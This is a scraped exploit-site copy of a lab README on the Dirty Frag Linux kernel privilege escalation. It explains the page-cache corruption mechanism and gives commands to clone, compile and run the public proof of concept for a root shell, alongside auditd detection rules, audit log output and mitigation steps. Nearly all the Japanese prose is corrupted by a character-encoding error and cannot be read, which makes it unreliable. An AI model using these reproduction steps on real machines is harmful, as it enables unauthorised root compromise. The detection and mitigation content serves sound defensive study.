## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KUNIYAL08-DIRTY-FRAG-CVE-2026-43284
# Dirty Frag (CVE-2026-43284 ããã³ CVE-2026-43500)
Linuxã«ãŒãã«ã®ããŒã«ã«æš©éææ Œãã§ãŒã³ã«å¯Ÿãããšã¯ã¹ããã€ãåçŸã»æ€ç¥ã©ãã
> **ã¹ããŒã¿ã¹: æ€èšŒæžã¿ã** ã©ãïŒã«ãŒãã« 6.18.9+kali-amd64ïŒã«ãããŠãåçŸããã¡ã€ã«ã¬ã¹æ€èšŒãããã³ã·ã¹ãã ã³ãŒã«ã¬ãã«ã®æ€ç¥ãå®äºããŸãããæ¬ããã¥ã¡ã³ãã¯ã©ããã°ã§ãã以äžã®ãã¹ãŠã®èšè¿°ã¯åçŸå®è¡äžã«èŠ³æž¬ããããã®ã§ããã¹ã¯ãªãŒã³ã·ã§ãããšææç©ã¯VMããã®å®éã®ãã£ããã£ã§ãã
## ç®æ¬¡
* æŠèŠ
* ãªãéèŠã
* æè¡ç詳现
* ã©ãç°å¢
* ãªããžããªæ§æ
* 鲿ãã§ãã¯ãªã¹ã
* åçŸæé
* æ€ç¥ãšã³ãžãã¢ãªã³ã°
* ã€ã³ã·ãã³ãã¬ã¹ãã³ã¹
* ç·©åç
* ãã©ãã«ã·ã¥ãŒãã£ã³ã°
* åèæ
å ±ãšã¯ã¬ãžãã
* æ³çã»å«ççäºé
## æŠèŠ
Dirty Frag ã¯ãLinuxã«ãŒãã«ã«ããã2ã€ã®æ±ºå®çãªããžãã¯ãã°ãçµã¿åããããã®ã§ãããããã®ãã°ã«ãããæš©éã®ãªãããŒã«ã«ãŠãŒã¶ãŒãèªã¿åãå°çšãã¡ã€ã«ïŒäŸ: `/usr/bin/su`ïŒã®ããŒãžãã£ãã·ã¥ãäžæžãããrootã·ã§ã«ãååŸã§ããŸã:
äž¡ããªã¢ã³ãã¯ãDirty Pipe ããã³ Copy Fail ãšåãæ ¹æ¬ãã¿ãŒã³ã䜿çšããŸãã`splice(2)` ã·ã¹ãã ã³ãŒã«ã¯ããã¡ã€ã«ã®**ããŒãžãã£ãã·ã¥ããŒãž** ãžã®åç
§ãéä¿¡åŽ `sk_buff` ã® `frag` ã¹ãããã«é
眮ããŸããæ»æè
ã¯ãã®ãã¡ã€ã«ãèªã¿åãå°çšã§ã¢ã¯ã»ã¹ã§ããŸããåä¿¡åŽã®ã«ãŒãã«ã³ãŒãã¯ããã® frag äžã§**ã€ã³ãã¬ãŒã¹æå·STORE** ãå®è¡ããŸããããã«ããRAMå
ã®ããŒãžãã£ãã·ã¥ã倿ŽãããŸãããã£ã¹ã¯ãžã®æžã蟌ã¿ã¯çºçããªãããããã¡ã€ã«æŽåæ§ã¢ãã¿ãªã³ã°ïŒAIDEãTripwireïŒã§ã¯æ€ç¥ã§ããŸããããã®æ»æã¯æ±ºå®çã§ããã¬ãŒã¹ãŠã£ã³ããŠã¯ãªãã倱ææã®ã«ãŒãã«ãããã¯ããããŸããã
* 圱é¿ç¯å²ïŒäžæµã¢ããã€ã¶ãªã«ããïŒ:
* ESPããªã¢ã³ã: `cac2661c53f3`ïŒ2017â01ïŒãã `f4c50a4034e6`ïŒ2026â05â05 ãããé©çšïŒãŸã§
* RxRPCããªã¢ã³ã: `2dc334f1a63a`ïŒ2023â06ïŒãã `aa54b1d27fe0`ïŒ2026â05â10 ãããé©çšïŒãŸã§
* å
¬éPoC: V4bel/dirtyfragïŒ2026â05â07 å
¬éïŒ
* ã¢ããã€ã¶ãª: CERT VU#980487ãRed Hat Bugzilla 2467771
* æ·±å»åºŠïŒCVSS 3.1ãCanonical ã«ããïŒ: `CVE-2026-43284` = 8.8ïŒé«ïŒã`CVE-2026-43500` = 7.8ïŒé«ïŒ
## ãªãéèŠã
Dirty Frag ã¯**ãã¡ã€ã«ã¬ã¹** LPEã§ãããã£ã¹ã¯äžã®ãã¡ã€ã«ã§ã¯ãªããã¡ã¢ãªå
ã®ããŒãžãã£ãã·ã¥ãç Žå£ããŸããåŸæ¥ã®ãã¡ã€ã«æŽåæ§ã¢ãã¿ãªã³ã°ã§ã¯æ€ç¥ã§ããŸãããæ€ç¥ã¯**ã·ã¹ãã ã³ãŒã«å±€** ã§è¡ãå¿
èŠããããŸãããã®ãã§ãŒã³ã¯ä»¥äžã®ã·ã¹ãã ã³ãŒã«ããªããã£ãã䜿çšããŸã: `socket(AF_ALG)`/`socket(AF_RXRPC)`ã`splice`ãããã³ `unshare(CLONE_NEWUSER|CLONE_NEWNET)`ãESPãã¹ã¯ `AF_INET` UDP ããã³ netlink ãœã±ãããäœæããŸãããã®å±€ãæ¬ãªããžããªã®æ€ç¥ãšã³ãžãã¢ãªã³ã°ã®çŠç¹ã§ãã
## æè¡ç詳现
äž¡ããªã¢ã³ãã¯åãã·ã³ã¯ã䜿çšããŸã: **æ»æè
ã`splice(2)` ã§é
眮ããããŒãžãã£ãã·ã¥ããŒãžäžã«ãã€ããSTOREããã€ã³ãã¬ãŒã¹æå·**ã§ãã
### ESPããªã¢ã³ãïŒCVE-2026-43284ïŒ
1. æ»æè
ã¯ã«ãŒãããã¯äžã§UDPãœã±ãããã¢ãéããåä¿¡åŽã `UDP_ENCAP_ESPINUDP` ã§æ§æããŸãã
2. åœé ãããESPã¯ã€ã€ããããŒïŒSPIãseq_no_loãIVïŒã `vmsplice` ã§ãã€ãã«ç»é²ãããã®åŸ `splice` ã§å¯Ÿè±¡ãã¡ã€ã«ãªãã»ããã® `/usr/bin/su` ãã16ãã€ããç»é²ããŸãã
3. åäžã® `splice` ããã€ããéä¿¡ãœã±ããã«ããã·ã¥ããŸãã`splice_to_socket()` 㯠`MSG_SPLICE_PAGES` ãèšå®ããŸããããã«ãã **`/usr/bin/su` ã®ããŒãžãã£ãã·ã¥ããŒãž**ã `skb->frags[0]` ã«çŽæ¥é
眮ãããŸãã
4. åä¿¡æã«ããã®ã·ãŒã±ã³ã¹ãå®è¡ãããŸã: `xfrm4_udp_encap_rcv`ãç¶ã㊠`xfrm_input`ãç¶ã㊠`esp_input()`ãè匱㪠`skip_cow` åå²ïŒ`!skb_cloned() && !skb_has_frag_list()`ïŒã¯ ããã€ãã¹ããŸããããŒãžãã£ãã·ã¥ããŒãžããœãŒã¹ãšãã¹ãã£ããŒã·ã§ã³ã®äž¡æ¹ãšããŠãå®è¡ããŸãã
æ»æè
ã¯**å Žæ** ïŒspliceãªãã»ããïŒãš**å€** ïŒ4ãã€ãïŒã®äž¡æ¹ãå¶åŸ¡ããŸããèªèšŒæ€èšŒã¯ã¹ã㢠_åŸ_ ã«å®è¡ããããããæå·å±€ãæžã蟌ã¿ããã©ã°ä»ãããããšã¯ãããŸããããã®ããªã¢ã³ã㯠`CAP_NET_ADMIN` ãå¿
èŠãšãã`unshare(CLONE_NEWUSER|CLONE_NEWNET)` ã䜿çšããŸãã
### RxRPCããªã¢ã³ãïŒCVE-2026-43500ïŒ
`rxkad_verify_packet_1()` ã¯ãspliceã§åºå®ãããskb fragäžã§çŽæ¥ãåäžãããã¯ã® `pcbc(fcrypt)` 埩å·ãå®è¡ããŸããæåã«ããŒã¿ãã³ããŒããŸãããæ»æè
ã¯ã»ãã·ã§ã³ããŒïŒ`add_key("rxrpc", âŠ)`ïŒãéžæãã`decrypt(ciphertext)` ã `desired_plaintext` ãšçãããªãããã«ããŸããããã«ãã8ãã€ãã®STOREãçæãããŸãããã®ããªã¢ã³ã㯠`/etc/passwd` ãã¿ãŒã²ããã«ããŸãããŠãŒã¶ãŒåå空éã¯äžèŠã§ãã`rxrpc.ko` ã¢ãžã¥ãŒã«ïŒUbuntuã§ã¯ããã©ã«ãã§ããŒãïŒãå¿
èŠã§ãã
### ãšã¯ã¹ããã€ãã®çµæ
å
¬éPoC㯠`/usr/bin/su` ãã¿ãŒã²ããã«ããŸãã4ãã€ããã€48åã®ESPã¹ãã¢ïŒãã¡ã€ã«ãªãã»ãã0ã§192ãã€ãïŒãæžã蟌ã¿ãŸããæåã®ããŒãžãã£ãã·ã¥ãã€ããéçrootã·ã§ã«ELFã«çœ®ãæããŸããELFãšã³ããªãã€ã³ã㯠`setgid(0); setuid(0); setgroups(0,NULL); execve("/bin/sh", âŠ)` ãå®è¡ããŸããåäžã® `execve("/usr/bin/su")` ã§rootã·ã§ã«ãåŸãããŸãã
### äžæµã®ä¿®æ£
ESPãããïŒã¡ã€ã³ã©ã€ã³ `f4c50a4034e6`ïŒã¯ã`splice()` çµç±ã§å°çããããŒãžfragã« `SKBFL_SHARED_FRAG` ãã©ã°ãããŒã¯ããŸãã`esp_input()` ã® `skip_cow` åå²ã¯çŸåšãã®ãã©ã°ããã§ãã¯ããŸããå
±æfragã®skbã¯ãã€ã³ãã¬ãŒã¹AEAD埩å·ã®åã« `skb_cow_data()` ãçµç±ããŸãã
RxRPCãããïŒã¡ã€ã³ã©ã€ã³ `aa54b1d27fe0`ïŒã¯ãæ¢åã® `skb_cloned()` ãã§ãã¯ã®é£ã« `skb->data_len` ãã§ãã¯ã远å ããŸããã«ãŒãã«ã¯ãã€ã³ãã¬ãŒã¹ `pcbc(fcrypt)` 埩å·ã®åã«ãããŒãžããŒã¿ãå«ãéç·åœ¢skbãã³ããŒããŸãã
## ã©ãç°å¢
VirtualBoxã©ãã»ããã¢ããã®ã¹ã¯ãªãŒã³ã·ã§ãã:

## ãªããžããªæ§æ
root@kitploit:~
.
âââ README.md # æ¬ã©ããã°
âââ detection/
â âââ dirtyfrag.rules # auditd ã·ã¹ãã ã³ãŒã«ã¬ãã«æ€ç¥ã«ãŒã«
â âââ ausearch_dirtyfrag_observed.txt # å®éã®ãšã¯ã¹ããã€ãæ€ç¥åºå
â âââ sigma/
â â âââ dirty_frag_exploit.yml # SIEMæ€ç¥çšSigmaã«ãŒã«
â âââ yara/
â âââ dirty_frag_exploit.yar # ãã£ã¹ã¯/ã¡ã¢ãªäžã®PoCã³ãŒãçšYARAã«ãŒã«
âââ mitigation/
â âââ dirtyfrag_mitigation.sh # ã¢ãžã¥ãŒã«ãã©ãã¯ãªã¹ã + ããŒãžãã£ãã·ã¥ãã©ãã·ã¥
âââ poc/
â âââ check_vulnerable.py # éç Žå£çãªäºåãã§ãã«ãŒ
âââ reports/
â âââ incident-dirtyfrag.md # ã€ã³ã·ãã³ãã¬ã¹ãã³ã¹ãã¬ã€ããã¯
âââ screenshots/ # ã©ãVMããã®å®éã®ãã£ããã£
## 鲿ãã§ãã¯ãªã¹ã
* äºåãã§ãã¯: `poc/check_vulnerable.py` ãå®è¡ããã«ãŒãã«/ã¢ãžã¥ãŒã«/usernsã確èª
* VirtualBoxã¹ãããã·ã§ãããååŸïŒãšã¯ã¹ããã€ãåã®åŸ©å
ãã€ã³ãïŒ
* éç¹æš© `testuser` ãäœæ
* V4bel PoCãã¯ããŒã³ããŠã³ã³ãã€ã«
* ãšã¯ã¹ããã€ããå®è¡ããrootã·ã§ã«ãæ€èšŒ
* ãã¡ã€ã«ã¬ã¹ãæ€èšŒ: ç ŽææãšåŸ©å
æã® `/usr/bin/su` ããã·ã¥ããã£ããã£
* æ±æãããããŒãžãã£ãã·ã¥ãã¯ãªãŒã³ã¢ããïŒ`drop_caches` ãŸãã¯åèµ·åïŒ
* `detection/dirtyfrag.rules` ããããã€ããauditdã¢ã©ãŒããæ€èšŒ
* å®éã®auditdåºåããSigmaããã³YARAã«ãŒã«ãçæ
* ã€ã³ã·ãã³ãã¬ã¹ãã³ã¹ãã¬ã€ããã¯ãå·çïŒïŒ
## åçŸæé
### 1\. OSãšã«ãŒãã«ã®ç¢ºèªïŒäºåãã§ãã¯ïŒ
root@kitploit:~
cat /etc/os-release | head -3
uname -r
ã«ãŒãã«ããŒãžã§ã³ç¢ºèªã®ã¹ã¯ãªãŒã³ã·ã§ãã:
 
ã«ãŒãã«ã¯2026幎5æã®ä¿®æ£ïŒ`f4c50a4034e6` / `aa54b1d27fe0`ïŒãã**å€ã** å¿
èŠããããŸãããã®æ¥ä»ä»¥éã« `apt upgrade` ãå®è¡ããå Žåããšã¯ã¹ããã€ãã¯å€±æããŸãããã©ãã«ã·ã¥ãŒãã£ã³ã°ãåç
§ããŠãã ããã
### 2\. éç Žå£çãªè匱æ§ãã§ãã¯
å®å
šãªãã§ãã«ãŒããVMã察象ãšãªãåŸããã©ãããå ±åããŸããå®è¡äžã®ã«ãŒãã«ã`esp4`/`esp6`/`rxrpc` ã¢ãžã¥ãŒã«ã®ååšãéç¹æš©ãŠãŒã¶ãŒåå空éãå©çšå¯èœãã©ããããã§ãã¯ããŸããESPããªã¢ã³ãã¯ãããã®åå空éãå¿
èŠãšããŸãã
root@kitploit:~
python3 poc/check_vulnerable.py
æåŸ
ãããå€å®: `[*] potentially vulnerable -- proceed in a disposable VM only`
### 3\. éç¹æš©ãã¹ããŠãŒã¶ãŒã®äœæ
éç¹æš©ã® `testuser` ã¯ãç¹å¥ãªæš©éã®ãªãæ»æè
ãã·ãã¥ã¬ãŒãããŸãã
root@kitploit:~
sudo useradd -m testuser
sudo passwd testuser
su - testuser
id
ã¹ã¯ãªãŒã³ã·ã§ãã: `id` ã¯UID 1001ã瀺ããŸããããã¯érootã¢ã¯ã»ã¹ã確èªããŸãã

### 4\. ãšã¯ã¹ããã€ãã®ã¯ããŒã³ãšã³ã³ãã€ã«
éç¹æš©ã¢ã«ãŠã³ããã:
root@kitploit:~
git clone https://github.com/V4bel/dirtyfrag.git
cd dirtyfrag
gcc -O0 -Wall -o exp exp.c -lutil
./exp
æåãããšããšã¯ã¹ããã€ã㯠`/usr/bin/su` ã®ããŒãžãã£ãã·ã¥ããããããŸãã4ãã€ããã€48åã®ESPã¹ãã¢ïŒãã¡ã€ã«ãªãã»ãã0ã§192ãã€ãã®rootã·ã§ã«ELFïŒãæžã蟌ã¿ãŸãããã®åŸã`forkpty` ã§ã€ã³ã¿ã©ã¯ãã£ããªrootã·ã§ã«ãããããããŸãã
ã¢ãžã¥ãŒã«ã®å¯çšæ§ããœãŒã¹ã¬ãã¥ãŒãã¯ãªãŒã³ãªã³ã³ãã€ã«ã®ã¹ã¯ãªãŒã³ã·ã§ãã:
  
### 5\. æš©éææ Œã®æ€èšŒ
root@kitploit:~
id
whoami
ã¹ã¯ãªãŒã³ã·ã§ãã: `./exp` å®è¡åŸã`id` 㯠`uid=0(root)` ã瀺ããŸãã

### 6\. ãã¡ã€ã«ã¬ã¹ã®æ€èšŒïŒããŒãžãã£ãã·ã¥ã®ã¿ã®ç ŽæïŒ
`sha256sum` ã¯**ããŒãžãã£ãã·ã¥çµç±** ã§èªã¿åããŸãããšã¯ã¹ããã€ãã®æžã蟌ã¿ãã¢ã¯ãã£ããªéãããã·ã¥ã¯å
ã®ãã®ãšç°ãªããŸãããã©ãã·ã¥åŸãããã·ã¥ã¯å
ã®ãã®ã«æ»ããŸãããã®ååŸã®ãã¢ã¯ããã£ã¹ã¯äžã®ãã€ããªã決ããŠå€æŽãããŠããªãããšã蚌æããŸãã
root@kitploit:~
sha256sum /usr/bin/su # 1) ããŒãžãã£ãã·ã¥ãæ±æãããŠããé -> ç°ãªãããã·ã¥
ã¹ã¯ãªãŒã³ã·ã§ãã: ããã·ã¥ã¯ããã±ãŒãžããã·ã¥ãšç°ãªããŸãïŒRAMãæ±æããããã£ã¹ã¯ã¯ç¡å·ïŒã

芳枬ãããç ŽæïŒããŒãžãã£ãã·ã¥ïŒããã·ã¥: `3fc29078bd77150b5d6fbb368f632bf02c1a3704816f03fb694ec2e81e77bde4`
### 7\. ãšã¯ã¹ããã€ãåŸã®ã¯ãªãŒã³ã¢ãããšåŸ©å
確èªïŒéèŠïŒ
ãšã¯ã¹ããã€ãåŸãããŒãžãã£ãã·ã¥ã«ã¯ç ŽæããããŒã¿ãå«ãŸããŸããåžžã«ãã©ãã·ã¥ããŠãã ãã:
root@kitploit:~
echo 3 | sudo tee /proc/sys/vm/drop_caches
# ãŸãã¯VMãåèµ·å
ãã®åŸã埩å
ã確èªããŸãïŒ`testuser` ãšããŠïŒ:
root@kitploit:~
sha256sum /usr/bin/su # å
ã®ããã±ãŒãžããã·ã¥ãšäžèŽãã
su - # å床ãã¹ã¯ãŒããèŠæ±ããã â èªårootãªã
ã¹ã¯ãªãŒã³ã·ã§ãã: 埩å
ãããïŒãã£ã¹ã¯äžã®å
ã®ïŒããã·ã¥ã

芳枬ãããå
ã®ïŒãã£ã¹ã¯äžã®ïŒããã·ã¥: `2b4f8770bd35bba5cdc5cfe292bc1d988e92ec1786bf91cf83e0e86fac056eb6`
åèµ·ååŸã`dpkg -V util-linux` ã¯**åºåãªã** ãè¿ããŸããããã£ã¹ã¯äžã® `/usr/bin/su` ã¯ããã±ãŒãžãšå®å
šã«äžèŽãããããç Žæãã `3fc29078âŠ` ããã·ã¥ã¯ããŒãžãã£ãã·ã¥ã«ã®ã¿ååšããŠããŸããã
> **`drop_caches` ã¯æ±æãããããŒãžã远ãåºããªãå ŽåããããŸãã** ããã¯ãå®è¡äžã®ããã»ã¹ããŸã ããŒãžããã³çãããŠããå Žåã«çºçããŸãããã®å Žåã`sha256sum` ãš `dpkg -V` ã¯ç Žæããã³ã³ãã³ãã衚瀺ãç¶ããŸããä¿¡é Œã§ããä¿®æ£ã¯åèµ·åã§ãã`dpkg -V` ãããŒãžãã£ãã·ã¥çµç±ã§èªã¿åãããšã«æ³šæããŠãã ãããããŒãžãæ±æãããŠããéã`??5??????` ãå ±åããŸãïŒMD5ãç°ãªããŸãããµã€ãºãã¢ãŒããææè
ãmtimeã¯ãã¹ãŠäžèŽããŸãïŒãåèµ·ååŸã¯åã³æ²é»ããŸããããã¯ãã£ã¹ã¯äžã®ãã¡ã€ã«ã決ããŠå€æŽãããŠããªãããšã蚌æããŸãã
> ãã©ãã·ã¥ã¯ãšã¯ã¹ããã€ãã**ç¡å¹åããŸãã** ãæ±æãããããŒãžãã£ãã·ã¥ãã¯ãªã¢ããã ãã§ããã¢ãžã¥ãŒã«ã¯å¥éç¡å¹åããå¿
èŠããããŸãïŒç·©åçãåç
§ïŒããã§ã«ããŒããããŠããã¢ãžã¥ãŒã«ãæªçšããããã¹ãããåé€ããã«ã¯åèµ·åãå¿
èŠã§ãã
## æ€ç¥ãšã³ãžãã¢ãªã³ã°
Dirty Frag ã¯ãã¡ã€ã«æŽåæ§ã¢ãã¿ãªã³ã°ã§ã¯èŠããŸãããæ€ç¥ã¯ããã§ãŒã³ãå¿
ã䜿çšããã·ã¹ãã ã³ãŒã«ããªããã£ãã«çŠç¹ãåœãŠãŸãã
### auditdã«ãŒã«ïŒ`detection/dirtyfrag.rules`ïŒ
root@kitploit:~
# /etc/audit/rules.d/dirtyfrag.rules
-a always,exit -F arch=b64 -S socket -F a0=38 -F uid!=0 -k dirtyfrag_af_alg
-a always,exit -F arch=b64 -S socket -F a0=33 -F uid!=0 -k dirtyfrag_rxrpc
-a always,exit -F arch=b64 -S splice -F uid!=0 -k dirtyfrag_splice
-a always,exit -F arch=b64 -S unshare -F uid!=0 -k dirtyfrag_namespace
-w /usr/bin/su -p r -k dirtyfrag_suid_read
> 泚: Linuxã§ã¯ `AF_ALG = 38`ã`AF_RXRPC = 33` ã§ãïŒ`/usr/include/bits/socket.h` ãåç
§ïŒã以åã®ãã©ããã§ã¯ `a0=21` ã䜿çšããŠããŸããããã®å€ã¯èª€ãã§ããAF_RXRPC 㯠**33** ã§ããã21ã§ã¯ãããŸããã
ãããã€ãšæ€èšŒ:
root@kitploit:~
sudo cp detection/dirtyfrag.rules /etc/audit/rules.d/
sudo systemctl restart auditd # ãŸãã¯: sudo auditctl -D && sudo auditctl -R /etc/audit/rules.d/dirtyfrag.rules
sudo auditctl -l
ãšã¯ã¹ããã€ããåå®è¡ããåŸã®æåŸ
ãããã¢ã©ãŒãïŒPIDã§çžé¢ïŒ:
root@kitploit:~
ausearch -k dirtyfrag_af_alg
ausearch -k dirtyfrag_rxrpc
ausearch -k dirtyfrag_splice
ausearch -k dirtyfrag_namespace
### æ€èšŒæžã¿ã®æ€ç¥åºå
5ã€ã®ã«ãŒã«ãã¹ãŠãããŒããããŸããïŒ`auditctl -R`ãå `CONFIG_CHANGE` ã§ `res=1`ïŒãã«ãŒã«ã¯ãšã¯ã¹ããã€ãã®åå空éã»ããã¢ãããææããŸãã:
root@kitploit:~
time->Wed Aug 5 08:26:37 2026
type=PROCTITLE msg=audit(1785932797.328:592): proctitle="./exp"
type=SYSCALL msg=audit(1785932797.328:592): arch=c000003e syscall=272 success=yes exit=0 a0=50000000 a1=0 a2=0 a3=0 items=0 ppid=5198 pid=5199 auid=1000 uid=1001 gid=1001 euid=1001 suid=1001 fsuid=1001 egid=1001 sgid=1001 fsgid=1001 tty=pts2 ses=2 comm="exp" exe="/home/testuser/dirtyfrag/exp" subj=unconfined key="dirtyfrag_namespace"
ãã³ãŒã: `syscall=272`ïŒ`unshare`ïŒã`a0=50000000` 㯠`CLONE_NEWUSER | CLONE_NEWNET` ã«çããã`uid=1001`ïŒéç¹æš© `testuser`ïŒã`comm="exp"`ãå®å
šãªãã°ã¯ `detection/ausearch_dirtyfrag_observed.txt` ã«ãããŸãã
ã¹ã¯ãªãŒã³ã·ã§ãã: ausearchåºåã¯ã«ãŒã«ã®ããŒããšãšã¯ã¹ããã€ãã€ãã³ãã瀺ããŸãã

### æ€ç¥ã«ãã¬ããž
## ã€ã³ã·ãã³ãã¬ã¹ãã³ã¹
å®å
šãªãã¬ã€ããã¯ã¯ `reports/incident-dirtyfrag.md` ã«ãããŸã: ãšã°ãŒã¯ãã£ããµããªãŒãã¿ã€ã ã©ã€ã³ãIoCsãMITRE ATT&CKãããã³ã°ãå°ã蟌ããæ ¹çµ¶ã埩æ§ãããã³æèšã
## ç·©åç
峿ã®ã©ã³ã¿ã€ã ç·©åçããã§ã«ããŒããããŠããã¢ãžã¥ãŒã«ã«ã€ããŠã¯åèµ·ååŸãæç¶ããŸããïŒäžèšã®æ³šãåç
§ïŒ:
root@kitploit:~
sudo mitigation/dirtyfrag_mitigation.sh
å®è¡å
容:
1. `/etc/modprobe.d/dirtyfrag.conf` ã« `esp4`ã`esp6`ã`rxrpc` ããããã¯ããèšå®ãæžã蟌ã¿ãŸãã`blacklist` è¡ãš `alias ⊠off` è¡ãå«ãŸããŸããåçŽãªã¯ã³ã©ã€ããŒã§ã¯ãããã®è¡ãæ¬ èœããŸãïŒãã以å€ã®å Žåããšã€ãªã¢ã¹ã«ããèªåããŒããæ©èœããŠããŸããïŒã
2. çŸåšããŒããããŠããå Žåã¯ã¢ãžã¥ãŒã«ãåé€ããŸãã
3. ããŒãžãã£ãã·ã¥ããã©ãã·ã¥ããŠããã§ã«æ±æãããããŒãžãããããããŸãã
> **圱é¿:** ãããã®ã¢ãžã¥ãŒã«ãç¡å¹åãããšãIPsec VPNïŒESPïŒãšAFSãã¡ã€ã«ã·ã¹ãã ïŒRxRPCïŒã®æ©èœã忢ããŸãã
æä¹
çãªä¿®æ£: äžæµããããå«ãã«ãŒãã«ã«ã¢ããã°ã¬ãŒãããŸãããŸãã¯ãèµ·åæã«ã¢ãžã¥ãŒã«ããã©ãã¯ãªã¹ãåããŸãïŒ`initcall_blacklist=esp4,esp6,rxrpc`ïŒã
## ãã©ãã«ã·ã¥ãŒãã£ã³ã°
## åèæ
å ±ãšã¯ã¬ãžãã
* ç ç©¶ãçºèŠãå
¬éPoC: Hyunwoo Kim (@v4bel)ãV4bel/dirtyfrag
* æè¡è§£èª¬: assets/write-up.md
* CERT/CCã¢ããã€ã¶ãª: VU#980487
* Red Hat CVEãã©ãã«ãŒ: CVE-2026-43284 / bug 2467771
## æ³çã»å«ççäºé
æ¬ãªããžããªã¯**èš±å¯ãããé²åŸ¡çã»ãã¥ãªãã£ç ç©¶ããã³ãã¬ãŒãã³ã°ã®ã¿** ãç®çãšããŠããŸãã
* ãã¹ãŠã®åçŸã¯éé¢ãããVirtualBox VMã§å®è¡ãããŸããããã®åŸã¹ãããã·ã§ããã埩å
ããŸããã
* ãã¹ããèš±å¯ãããŠããªãã·ã¹ãã ã§PoCã**å®è¡ããªãã§ãã ãã** ãèš±å¯ã®ãªããšã¯ã¹ããã€ãã¯ç¯çœªè¡çºãšãªãå¯èœæ§ããããŸãã
* PoCãšæ€ç¥ã³ã³ãã³ãã¯æè²ç®çã§å
¬éãããŠããŸããæ»æãçè§£ããããšã¯ããããæ€ç¥ããããã®åºç€ã§ããå®å
šãªå£°æã«ã€ããŠã¯ DISCLAIMER.md ãåç
§ããŠãã ããã
## ã©ã€ã»ã³ã¹
LICENSE ãåç
§ããŠãã ãããæ¬ã©ãã¯ãèªèº«ã®éé¢ãããç°å¢ã§ã®æè²çšã§ãããã¹ããèš±å¯ãããŠããªãã·ã¹ãã ã§PoCãå®è¡ããªãã§ãã ããã